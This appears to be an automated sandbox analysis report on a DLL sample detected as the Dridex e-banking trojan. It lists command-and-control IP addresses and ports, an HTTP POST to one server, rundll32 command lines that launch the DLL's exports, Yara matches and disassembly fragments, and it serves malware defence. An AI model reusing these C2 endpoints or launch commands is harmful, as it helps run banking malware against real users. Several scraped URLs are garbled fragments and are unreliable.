Source: rundll32.exe, 00000003.00000003.487957725.000000000073F000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/~
Source: loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000003.823680145.000000000073D000.00000004.00000001.sdmp	String found in binary or memory: https://182.46.210.220/
Source: loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp	String found in binary or memory: https://183.244.140.214:808/
Source: loaddll32.exe, 00000000.00000003.499876344.00000000015BF000.00000004.00000001.sdmp, rundll32.exe	String found in binary or memory: https://185.56.219.47/
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47/R
Source: rundll32.exe, 00000003.00000003.493682410.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47/c
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.496791595.00000000015BF000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.744898408.00000000015C0000.00000004.00000001.sdmp, rundll32.exe, rundll32.exe, 00000003.00000003.591021257.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/
Source: loaddll32.exe, 00000000.00000003.496791595.00000000015BF000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/$
Source: rundll32.exe, 00000003.00000003.554460856.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/-
Source: loaddll32.exe, 00000000.00000003.577869805.00000000015B8000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/.
Source: loaddll32.exe, 00000000.00000003.535107117.00000000015B7000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.490150806.0000000000713000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/0
Source: loaddll32.exe, 00000000.00000003.577869805.00000000015B8000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/4.140.214:808/
Source: rundll32.exe, 00000003.00000003.489963534.000000000073E000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/5
Source: loaddll32.exe, 00000000.00000003.677056521.00000000015B8000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/?
Source: loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000003.657662148.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/D
Source: loaddll32.exe, 00000000.00000003.845510085.00000000015B9000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/ES
Source: loaddll32.exe, 00000000.00000003.796127425.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.554532651.0000000000714000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/Ps%
Source: loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp	String found in binary or memory: https://185.56.219.47:8116/V
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/fW
Source: loaddll32.exe, 00000000.00000003.704163950.00000000015B9000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/l
Source: loaddll32.exe, 00000000.00000003.496791595.00000000015BF000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/llt
Source: rundll32.exe, 00000003.00000003.675255963.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/oft
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.789649850.0000000000739000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000002.874153392.0000000000739000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000003.857089400.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://185.56.219.47:8116/soft
Source: loaddll32.exe, 00000000.00000003.771239473.00000000015B9000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.643498915.00000000015B8000.00000004.00000001.sdmp, rundll32.exe, rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000002.874153392.0000000000739000.00000004.00000020.sdmp	String found in binary or memory: https://192.46.210.220/
Source: rundll32.exe, 00000003.00000002.874153392.0000000000739000.00000004.00000020.sdmp	String found in binary or memory: https://192.46.210.220/&
Source: loaddll32.exe, 00000000.00000003.771239473.00000000015B9000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/)
Source: rundll32.exe, 00000003.00000003.616107262.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/-
Source: rundll32.exe, 00000003.00000002.874153392.0000000000739000.00000004.00000020.sdmp	String found in binary or memory: https://192.46.210.220/0y
Source: loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp	String found in binary or memory: https://192.46.210.220/5
Source: rundll32.exe, 00000003.00000003.591021257.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/56.219.47:8116/
Source: rundll32.exe, 00000003.00000002.874153392.0000000000739000.00000004.00000020.sdmp	String found in binary or memory: https://192.46.210.220/7.0.96:6891/
Source: rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.711929481.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/7.0.96:6891/Microsoft
Source: loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp	String found in binary or memory: https://192.46.210.220/;
Source: loaddll32.exe, 00000000.00000003.771239473.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.554460856.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/C
Source: loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp	String found in binary or memory: https://192.46.210.220/Certification
Source: rundll32.exe, 00000003.00000002.874095121.00000000006C0000.00000004.00000020.sdmp	String found in binary or memory: https://192.46.210.220/G
Source: loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp	String found in binary or memory: https://192.46.210.220/GlobalSign
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/O
Source: rundll32.exe, 00000003.00000003.493682410.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/Q
Source: rundll32.exe, 00000003.00000002.874111999.00000000006CA000.00000004.00000020.sdmp	String found in binary or memory: https://192.46.210.220/S
Source: rundll32.exe, 00000003.00000003.798077134.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/V
Source: loaddll32.exe, 00000000.00000003.845510085.00000000015B9000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/W
Source: loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp	String found in binary or memory: https://192.46.210.220/Y
Source: loaddll32.exe, 00000000.00000003.796127425.00000000015B9000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.677056521.00000000015B8000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.806745321.000000000073D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/aenh.dll
Source: rundll32.exe, 00000003.00000003.823680145.000000000073D000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/aenh.dllu
Source: rundll32.exe, 00000003.00000003.798077134.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/aenh.dlluKZ
Source: rundll32.exe, 00000003.00000003.599520556.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/aenh.dllusZ
Source: rundll32.exe, 00000003.00000003.527805201.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/c
Source: loaddll32.exe, 00000000.00000003.618838198.00000000015B8000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/coro8
Source: loaddll32.exe, 00000000.00000003.796127425.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/d
Source: loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000002.874111999.00000000006CA000.00000004.00000020.sdmp	String found in binary or memory: https://192.46.210.220/en-US
Source: rundll32.exe, 00000003.00000003.742742966.000000000073E000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.711929481.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/graphy
Source: rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/j
Source: loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp	String found in binary or memory: https://192.46.210.220/n
Source: rundll32.exe, 00000003.00000003.742742966.000000000073E000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/nd
Source: rundll32.exe, 00000003.00000003.798077134.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/ography
Source: rundll32.exe, 00000003.00000003.742742966.000000000073E000.00000004.00000001.sdmp	String found in binary or memory: https://192.46.210.220/r
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96/
Source: rundll32.exe, 00000003.00000003.490150806.0000000000713000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96/A
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96/g
Source: loaddll32.exe, 00000000.00000003.499876344.00000000015BF000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96/n
Source: rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96/p
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, rundll32.exe, 00000003.00000003.591021257.0000000000739000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.519473645.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/
Source: rundll32.exe, 00000003.00000003.527805201.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/-
Source: rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/.0.96:6891/
Source: rundll32.exe, 00000003.00000003.823680145.000000000073D000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/.0.96:6891/Microsoft
Source: rundll32.exe, 00000003.00000003.487957725.000000000073F000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/08/
Source: rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/3
Source: loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp	String found in binary or memory: https://45.77.0.96:6891/6/
Source: rundll32.exe, 00000003.00000003.657662148.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/C
Source: rundll32.exe, 00000003.00000003.632556707.0000000000736000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.798077134.0000000000739000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.781390646.000000000073D000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.848659607.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/Microsoft
Source: rundll32.exe, 00000003.00000003.711929481.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/Q
Source: loaddll32.exe, 00000000.00000003.508139529.00000000015B9000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/der
Source: rundll32.exe, 00000003.00000003.542087598.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/der-
Source: rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/g
Source: rundll32.exe, 00000003.00000003.632556707.0000000000736000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.554460856.0000000000739000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.865409287.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/graphy
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/n
Source: rundll32.exe, 00000003.00000003.591021257.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://45.77.0.96:6891/u
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.711929481.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://452.46.210.220/
Source: loaddll32.exe, 00000000.00000003.853804872.00000000015B8000.00000004.00000001.sdmp	String found in binary or memory: https://455.56.219.47:8116/

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4862Connection: CloseCache-Control: no-cache

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6F0139F9 InternetReadFile,

0_2_6F0139F9

Source: unknown	HTTPS traffic detected: 192.46.210.220:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.46.210.220:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.46.210.220:443 -> 192.168.2.6:50129 version: TLS 1.2

Source: loaddll32.exe, 00000000.00000002.872614352.000000000154B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Dridex unpacked file

Show sources

Source: Yara match	File source: 3.3.rundll32.exe.62db55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.dfdb55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.rundll32.exe.4c1db55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.4b1db55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.62db55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.dfdb55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.128db55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.4b1db55.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.128db55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.rundll32.exe.4c1db55.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.6efe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.6efe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.467247040.0000000004B00000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.433688939.0000000004C00000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.478698643.0000000001270000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.898148863.000000006EFE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.435699567.0000000000610000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.475590656.0000000000DE0000.00000040.00000001.sdmp, type: MEMORY

Detected Dridex e-Banking trojan

Show sources

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EFE51A7 OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,GetAdaptersInfo,

0_2_6EFE51A7

Source: SecuriteInfo.com.Variant.Razy.980776.8232.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFF67C8	0_2_6EFF67C8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F003B00	0_2_6F003B00
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFFB6F0	0_2_6EFFB6F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFF8EF0	0_2_6EFF8EF0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F009B10	0_2_6F009B10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFFF6E0	0_2_6EFFF6E0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFE6AD0	0_2_6EFE6AD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFF96D0	0_2_6EFF96D0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F001730	0_2_6F001730
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFF8AB0	0_2_6EFF8AB0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFFAE80	0_2_6EFFAE80
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFE9E70	0_2_6EFE9E70
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFF9E70	0_2_6EFF9E70
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFFA660	0_2_6EFFA660
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F007FC0	0_2_6F007FC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFECA10	0_2_6EFECA10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFFE3F0	0_2_6EFFE3F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F00FA10	0_2_6F00FA10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F000220	0_2_6F000220
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F00D620	0_2_6F00D620
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFF83C0	0_2_6EFF83C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFF7FC0	0_2_6EFF7FC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F001240	0_2_6F001240
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F007660	0_2_6F007660
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F002E60	0_2_6F002E60
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFF5B60	0_2_6EFF5B60
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFFBF50	0_2_6EFFBF50
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F0026B0	0_2_6F0026B0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F001EB0	0_2_6F001EB0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F003EC0	0_2_6F003EC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F00FA10	0_2_6F00FA10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F0062F0	0_2_6F0062F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFF98DA	0_2_6EFF98DA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFEACD0	0_2_6EFEACD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFFA0D0	0_2_6EFFA0D0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFF88C0	0_2_6EFF88C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFF8CC0	0_2_6EFF8CC0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFFE0A0	0_2_6EFFE0A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F00D180	0_2_6F00D180
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFFD030	0_2_6EFFD030
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F0089F0	0_2_6F0089F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F0071F0	0_2_6F0071F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F001020	0_2_6F001020
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFFFDD0	0_2_6EFFFDD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFEF9A0	0_2_6EFEF9A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFFC590	0_2_6EFFC590
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFFD980	0_2_6EFFD980
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFE1570	0_2_6EFE1570
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFF7564	0_2_6EFF7564
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F004CA0	0_2_6F004CA0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F0050A0	0_2_6F0050A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F00DCA0	0_2_6F00DCA0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F005CB0	0_2_6F005CB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0074096F	3_3_0074096F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0074096F	3_3_0074096F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00746845	3_3_00746845
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00746845	3_3_00746845
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_007462A6	3_3_007462A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_007462A6	3_3_007462A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0074096F	3_3_0074096F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0074096F	3_3_0074096F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00746845	3_3_00746845
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00746845	3_3_00746845
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_007462A6	3_3_007462A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_007462A6	3_3_007462A6

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EFF22A0 NtDelayExecution,		0_2_6EFF22A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F00BE30 NtClose,		0_2_6F00BE30

Source: SecuriteInfo.com.Variant.Razy.980776.8232.dll

ReversingLabs: Detection: 18%

Source: SecuriteInfo.com.Variant.Razy.980776.8232.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll,Bluewing
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll,Earth
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll,Masterjust
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll,Bluewing	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll,Earth	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll,Masterjust	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll',#1	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal88.bank.troj.evad.winDLL@11/0@0/4

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.8232.dll,Bluewing

Source: SecuriteInfo.com.Variant.Razy.980776.8232.19927

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: SecuriteInfo.com.Variant.Razy.980776.8232.dll

Static file information: File size 1375232 > 1048576

Source: SecuriteInfo.com.Variant.Razy.980776.8232.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: SecuriteInfo.com.Variant.Razy.980776.8232.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_3_014AC7B8 push ds; iretd	0_3_014AC7BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00740361 push ss; retf	3_3_00740365
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00740361 push ss; retf	3_3_00740365
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00746A2B push 00000078h; retf	3_3_00746A2D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00746A2B push 00000078h; retf	3_3_00746A2D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00741ED7 push cs; iretd	3_3_00741ED8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00741ED7 push cs; iretd	3_3_00741ED8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00740FA7 push ds; retf	3_3_00740FA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00740FA7 push ds; retf	3_3_00740FA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0074149A push eax; retf 006Ch	3_3_00741679
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0074149A push eax; retf 006Ch	3_3_00741679
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00740B87 push ds; retf	3_3_00740B88
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00740B87 push ds; retf	3_3_00740B88
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00740361 push ss; retf	3_3_00740365
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00740361 push ss; retf	3_3_00740365
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00746A2B push 00000078h; retf	3_3_00746A2D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00746A2B push 00000078h; retf	3_3_00746A2D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00741ED7 push cs; iretd	3_3_00741ED8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00741ED7 push cs; iretd	3_3_00741ED8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00740FA7 push ds; retf	3_3_00740FA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_00740FA7 push ds; retf	3_3_00740FA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0074149A push eax; retf 006Ch	3_3_00741679
